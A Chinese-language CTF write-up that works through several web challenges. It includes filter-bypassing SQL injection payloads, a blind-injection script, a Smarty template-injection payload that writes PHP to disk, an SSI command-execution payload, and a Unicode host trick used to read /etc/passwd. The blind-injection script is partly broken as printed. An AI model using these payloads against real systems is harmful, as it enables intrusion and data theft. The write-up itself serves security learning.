base_convert(37907361743,10,36) => "hex2bin" 
dechex(1598506324) => "5f474554"
$pi=hex2bin("5f474554") => $pi="_GET" //hex2bin将一串16进制数转换为二进制字符串
($$pi){pi}(($$pi){abs}) => ($_GET){pi}($_GET){abs} //{}可以代替[]

四种方法

[SWPU2019]Web1(sql注入)

题目

image-20230410164651863

一个登录框

这里尝试进行注册后,发现admin用户已经存在,所以就尝试自己注册一个账号进行登录

image-20230410164906595

登录界面

用万能密码进行测试的时候发现

image-20230410165107656

fuzz测试结果

1
2
3
4
5
6
7
8
9
10
11
空格被替换为空
or
and
join
--+
#
updatexml
extractvalue
exp
floor
...

所以不能用注释之后,我们就尝试进行闭合

image-20230410165855329

先需要判断有多少字段,order by不能使用,可以使用group by或者into @a, @b, @c, ...

发布广告(’ or 1=1)进行尝试,进行测试时发现空格、or、#、—+、and等进行了过滤,目前基本可以确定注入点在这个地方,在进行注入的时候我们需要先判断列数,payload:1’//group//by/**/n,’,n为整数(因为对or进行了过滤,导致order无法使用,因此这里才采用group by来确定列数),最终得到n为22,结果如下:

image-20230410170426061

发现一共有23列,那么我们就尝试一下看哪有回显

1
1'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1

image-20230410170529355

发现23位置有回显,那么我们就利用这两个位置来进行查询

查数据库

1
title='union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'

image-20230410171102690

查出数据库名,因为or被过滤了

查表名,因为这里过滤or所以也无法使用information_schema表,也没有sys表,所以使用mysql.innodb_table_stats

1
title='union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22&content=mochu7&ac=add

image-20230410171219143

1
8、进行匿名获取flag值,payload:1'/**/union/**/select/**/1,(select/**/group_concat(c)/**/from/**/(select/**/1/**/as/**/a,2/**/as/**/b,3/**/as/**/c/**/union/**/select/**/*/**/from/**/users)n),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1,或者payload:1'/**/union/**/select/**/1,(select/**/group_concat(`3`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)n),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1,其中group_concat(参数),对参数进行修改,访问每一个字段,结果如下:

这里有一个小知识点就是group_concat(`3`)里的3和外面查询的别名是一样的,就是

3必须是表里必须有三列,然后必须早select 1,2,3xxx这里进行查询

image-20230410173317416

本地也进行测试过了

image-20230410173337170

[CISCN2019 华东南赛区]Web11

题目

image-20230410173453240

image-20230410174811347

题目中也有XFF,然后请求头中并没有,所以我们尝试抓包看看

发现没有,然后添加查看,发现这里可以进行回显

image-20230410175020518

这里和之前的一道题很像,就是利用这里来进行命令执行,但是之前的题是ssti的,并且是一个模板的rce

所以我们就猜测这里会不会也是考模板的ssti

image-20230410175234890

对这个玩意眼熟吧

image-20230410175258323

于是就去找这个模板的rce

文章wp

payload

1
string:{$s=$smarty.template_object->smarty}{$fp=$smarty.template_object->compiled->filepath}{Smarty_Internal_Runtime_WriteFile::writeFile($fp,"<?php+phpinfo();",$s)}

得执行两次才行

image-20230410175551036

image-20230410175712890

还是点两次发送就行

image-20230410175728695

CVE-2021-26120

[极客大挑战 2019]FinalSQL

题目

image-20230410194457013

这里进行了简单的提示

就是考察的是sql盲注

提示很明显,需要SQL盲注
这道题的注入点不是登录框,而是上面的数字按钮
在登录框测试能否注入的时候,返回值没有显示错误

image-20230410194738135

注入点在上面的数字处,那里才是注入点

image-20230410194911976

paylaod

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
url = "http://e4247cff-5d64-4353-b875-e07e478c50bf.node3.buuoj.cn/search.php"
flag = ''
for i in range(1,100):
low = 32
high = 127
while low < high:
mid = (low+high)//2
# 中间的语句为真,网页不报错,中间的语句为假,网页报错,根据这个判断
# 查数据库
database = "?id=1^(ord(substr((select(database())),%d,1))>%d)^1" % (i, mid)
# 查表
tables = "?id=1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,j)
columns = "?id=1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,j)
data = "?id=1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, j)
# 根据需要查询的内容改变get中的参数
r = requests.get(url=url+database)
# print(url+database)
# print(payload1)
# print(r.raw)
if 'Click' in r.text:
low = mid + 1
else:
high = mid
# print(low,mid,high)
flag += chr(low)
print(flag)

记得不知道过滤啥的时候进行抓包fuzz测试一下

[BSidesCF 2019]Futurella

题目

image-20230410195215842

image-20230410195245734

查看源码就行

[De1CTF 2019]SSRF Me

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.xists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')

resp = scan(self.param)

if (resp == "Connection Timeout"):

result['data'] = resp

else:

print resp

tmpfile.write(resp)

tmpfile.close()

result['code'] = 200

if "read" in self.action:

f = open("./%s/result.txt" % self.sandbox, 'r')

result['code'] = 200

result['data'] = f.read()

if result['code'] == 500:

result['data'] = "Action Error"

else:

result['code'] = 500

result['msg'] = "Sign Error"

return result



def checkSign(self):

if (getSign(self.action, self.param) == self.sign):

return True

else:

return False

#generate Sign For Action Scan.

@app.route("/geneSign", methods=['GET', 'POST'])

def geneSign():

param = urllib.unquote(request.args.get("param", "")) #urllib.unquote 是url解码 ----urlib.urlencode 是url编码 #request.args.get获取单个值

action = "scan"

return getSign(action, param)


@app.route('/De1ta',methods=['GET','POST'])

def challenge():

action = urllib.unquote(request.cookies.get("action"))

param = urllib.unquote(request.args.get("param", ""))

sign = urllib.unquote(request.cookies.get("sign"))

ip = request.remote_addr #获取request的ip

if(waf(param)):

return "No Hacker!!!!"

task = Task(action, param, sign, ip)

return json.dumps(task.Exec())

@app.route('/')

def index():

return open("code.txt","r").read()

def scan(param):

socket.setdefaulttimeout(1)

try:

return urllib.urlopen(param).read()[:50]

except:

return "Connection Timeout"


def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()

def md5(content):
return hashlib.md5(content).hexdigest()

def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0')

这里话题目就是考点

这里的代码有点长,就得考察代码审计能力了

详细的wp 看这个wp就行了,这里就不多写了

[BSidesCF 2019]Kookie

题目

image-20230410200301423

这里跟据题目名字猜测跟cookie有关

抓包输入题目给的账号密码

然后登录成功

image-20230410200634909

发现内容为username=cookie的键值对。

显然这里Cookie中的键值对的值作为了服务端在用户通过账户密码登录之后再次访问时验证身份的凭证,将其值改为admin也就标志我们成为了admin用户,接着再携带修改后的Cookie访问页面就能获得flag。

image-20230410201052297

[BJDCTF2020]EasySearch

题目

image-20230410201152027

题目上要search

那么我们就扫一下目录

扫后台发现index.php.swp备份。

image-20230410201336318

一段代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";

}else
{
***
}
***
?>

要求password的md5值的前6个字符为6d0bc1。敲代码(python):

1
2
3
4
5
6
7
from hashlib import md5

for i in range(10000000):
if md5(str(i).encode('utf-8')).hexdigest()[:6] == '6d0bc1':
print(i)


image-20230410201840174

发现三个数字可以是

然后进行登录

image-20230410201946697

登录成功

image-20230410202019909

发现请求头有个玩意

image-20230410202059718

这里有个shtml的玩意

(shtml是一种基于SSI技术的文件。SSI 注入全称Server-Side Includes Injection,即服务端包含注入。SSI 是类似于 CGI,用于动态页面的指令。SSI 注入允许远程在 Web 应用中注入脚本来执行代码。SSI是嵌入HTML页面中的指令,在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,而无须通过CGI程序提供其整个页面,或者使用其他动态技术。从技术角度上来说,SSI就是在HTML文件中,可以通过注释行调用的命令或指针,即允许通过在HTML页面注入脚本或远程执行任意代码。IIS和Apache都可以开启SSI功能)

(SSI注入的条件:

1.Web 服务器已支持SSI(服务器端包含)

2.Web 应用程序未对对相关SSI关键字做过滤

3.Web 应用程序在返回响应的HTML页面时,嵌入用户输入)

payload

1
<!--#exec cmd="命令"-->

image-20230410202410577

这里就是shtml的注入点了,所以username就是注入点了

(也可以这样想,只有两个参数可控,passwd已经定死了,那么就只剩username可用了)

image-20230410202836563

image-20230410202858401

这里的话是一下一下给试出来的

分析一下代码逻辑就知道咋做了

[SUCTF 2019]Pythonginx

题目

image-20230410203011922

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"

image-20230410212124359

这里看不太懂就直接把代码分离出来看

利用点在这里urllib.request.urlopen(finalUrl).read(),只要前两次host != suctf.cc,第三次host == suctf.cc即可

image-20230410212924771

而这利用的关键在于newhost.append(h.encode('idna').decode('utf-8'))

编码问题,Unicode的很多字符经过这样的一番编码处理都可以得到正常的字母,脚本fuzz

1
2
3
4
5
6
7
8
9
10
chars = ['s', 'u', 'c', 't', 'f']
for c in chars:
for i in range(0x7f, 0x10FFFF):
try:
char_i = chr(i).encode('idna').decode('utf-8')
if char_i == c:
print('ASCII: {} Unicode: {} Number: {}'.format(c, chr(i), i))
except:
pass

image-20230410213251760

这里的意思就是前两个没有进行这个编码,然后第三个之前就有一个编码,然后就会把原本的unicode编码给变成正常的编码了

payload

1
/getUrl?url=file://𝑆uctf.cc/etc/passwd

image-20230410213759184

然后就是找flag位置了

image-20230410213807929

给了提示,然后就尝试访问nginx这个配置文件

Nginx的配置文件网上位置有很多,这里能读取到的是/usr/local/nginx/conf/nginx.conf

image-20230410213928964

然后就是读取flag了

image-20230410214100651

这就是验证过程了

[0CTF 2016]piapiapia

题目

image-20230410214141340

这题考察的不是sql注入 这登录框确实有点欺骗的味道在

这个尝试一下常用的php文件,看能不能试出网站的目录

  • 注册账号
    看来我们还是得老老实实得注册个账号来登录看看有什么功能点,并且熟悉网站结构。但是在登录页面又没有给出注册按钮,看来我们还得自己猜一下,通常是:/register.php。
  • 浏览功能
    登录成功后我们看到是一个上传个人信息的一个页面,看到可以上传图片,第一时间就想到了文件上传漏洞。我还是太年轻了,一波操作后没有饶得过。上传了一个正常的信息,发现跳转到profile.php展示出来我们的信息
  • 目录扫面
    功能都试过了,没有可以利用的地方(是我太菜)。我们可以扫一下目录,看看有什么隐藏的文件呀,信息泄露什么的,毕竟CTF很多题型是信息泄露+代码审计嘛。拿出御剑扫描后,浏览网页发现访问太快了,返回429状态码。看了网上大佬们的Writeup发现dirsearch可以扫描出来www.zip,我试了下dirsearch要记得加延时参数。
    拿到了网站的源码我们的信息收集差不多就完了,我们现在可以在源码中寻找突破点

image-20230411194146010

这是注册完登录的界面

查看扫出来的网站目录 www.zip 得到下面的源码

image-20230411194253897

update.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');

if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');

$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');

move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);

$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
else {
?>

  一眼可以看出这里用了一堆正则表达式来过滤我们提交的数据,而且第三个正则表达式和前面两个不一样,这里判断了nickname是否为字符还有长度是否超过10。用文章开头的知识点二,如果我们传入的nickname是一个数组,绕过长度的限制,则可以绕过这正则表达式,是我们不会die出。
  在代码的后面调用update_profile处我们想到这个可能是将数据保存到数据库,而且还用了php序列化serialize(),我们可以大胆的尝试用反序列化漏洞来搞一下。
  我们再看看update_profile()到底是个啥,使用全局搜索我们在class.php中看到了定义的update_profile()方法

update_profile()

1
2
3
4
5
6
7
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);

$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}

filter()

1
2
3
4
5
6
7
8
9
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);

$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}

update()

1
2
3
4
public function update($table, $key, $value, $where) {
$sql = "UPDATE $table SET $key = '$value' WHERE $where";
return mysql_query($sql);
}

 update.php我们基本上就搞清楚了,是先经过正则表达式将用户提交的参数值过滤,然后序列化,然后将非法的值替换为’hacker’

看wp吧 这里就不太想写了

wp